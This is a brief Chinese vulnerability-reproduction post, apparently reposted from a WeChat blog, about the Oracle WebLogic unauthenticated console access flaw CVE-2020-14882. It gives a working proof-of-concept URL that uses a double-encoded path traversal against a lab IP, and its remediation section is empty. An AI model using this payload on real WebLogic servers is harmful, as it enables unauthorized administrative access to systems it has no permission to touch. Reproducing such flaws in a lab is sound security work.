【漏洞复现】Weblogic 未授权访问漏洞（CVE-2020-14882）

0X01 简介

Oracle WebLogic Server 14.1.1.0.0

复现环境：

Oracle WebLogic Server 10.3.6.0

0X02 漏洞复现

POC:

http://192.168.245.134:7001/console/images/%252E%252E%252Fconsole.portal打开浏览器第一次访问可能会提示404，再访问一次POC即可。

0X03 修复建议

0X04 写在最后

回复“加群”，获取群号。

侵删！

原文始发于微信公众号（皓月的笔记本）：【漏洞复现】Weblogic 未授权访问漏洞（CVE-2020-14882）